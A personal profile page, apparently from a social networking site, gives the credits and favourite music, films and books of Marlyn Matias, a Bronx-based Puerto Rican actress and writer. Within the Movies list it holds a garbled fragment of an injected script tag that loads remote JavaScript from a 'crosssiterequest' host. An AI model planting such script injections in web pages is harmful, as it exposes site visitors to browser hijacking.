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Marlyn Matias

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My Family #1 Siempre- Gracias for the Love, Support and Life Lessons
Love- For my Fam, for self and for my people
Music-'Serious Intoxication for the Soul' Still saves me
Laughter- the best anecdote for...
Mi bella Isla- Que mucho te extrano, pero vives en mi, y en las caras de nuestra gente
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Marlyn Matias Boricua Actress/Writer
Former Artistic Director of Live From the Edge Theater, Founder of Upstage Theater Co. & Playwrights PLAYground. This past fall she Co-Starred with Nelson Vasquez in the upcoming feauture film "Sacred Game", "Lazos" in 2002 In 2005 she received an Hola award with her co-stars for her performance in "Ortiz Sister"

Most recent theater credits include: Carlos J Serrano’s The Ortiz sistersof Mott Haven @ The PuertoRican Traveling Theater, as well as the translation in Puerto Rico this Spring. She toured with Universes’ critically acclaimed "Slanguage" directed by Jo Bonney (National Tour @ Actors Theater of Louisville, New Jersey PAC, Museum of Contemporary Arts Theater in Chicago and other US cities), Kia Corthron’s "Cage Rhythm", Candido Tirado’s "Ilka’sDream", Michael John Garces’ "Now & Then", Fred Rohan Vargas’ "Madrina", Sandra Rodriguez’s "El Solar", Eugene Ianesco’s "The Bald Soprano", Arthur Miller’s "The Crucible", Ntozoke Shange’s "For Colored Girls...", Bronx/Poland exchange of Alfred Jarry’s "UBU Enchained" directed by Steven Sapp and Wieslaw Gorski, "Memoirs of an Warsaw Uprising" also directed by Wieslaw Gorski. She developed and directed Mariposa’s Diasporican Dementia @ New WORLD Theater. She is a member of the sketch comedy troupe Nuyorican Rule. Wrtting credits include "Hanging with Death" "Marilyn without and I", "El Pato feo" co-wriiten by award winning dancer director Arthur Aviles.

As a dancer she has performed at Central Park Summer Stage with Dance Co. Arthur aviles Typical Theater and at Lincoln center Out of doors festival. "Always representing La Isla...always represent Da Bronx"

Music:

Boogaloo!!!!!! Willie Colon's El Malo (one of the most fun albums ever)...Pete Rodiguez, Joe Cuba, Hector Rivera, Cymande, La Selecta, El Gran Combo, La sonora poncena, Cortio and his Time Machine,Janis Joplin, Etta James,Joe Bataan, WAR, Carlos Santana, The Roots, Dead prez, The doors, La Lupe, MOS DEF, Nina Simone, Eric Burden, Portishead,Los Zafiros(cuba), Alexis Hightower, Goapele, YA ESTA (one of my favorite bands) and anything REAL... yerbabuena,THE WELFARE POETS... THE DEY IS ON FIRE!!!

Movies:

Dancer in the dark, Silence of the Lambs, Double Indemnity, Throne of Blood(macbeth japan) Eternal Sunshine of the spotless mind The crippled avengers.... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..

Television:

BIG LOVE, Entourage, don't watch much of it though

Books:

ASSATA, Krik Krack, Misery. PLAYS---Antigone, yellowman, The gimmick, Waiting for Godot, Short Eyes, Colored Contradictions(anthology) Some people, Caged Rhythm. just to name a few

Heroes:

MY GRANDMA ANA LUISA PADILLA RUIZ "Tita" And MY GRANPA ANGEL LUIS MATIAS VARGAS "Matia"
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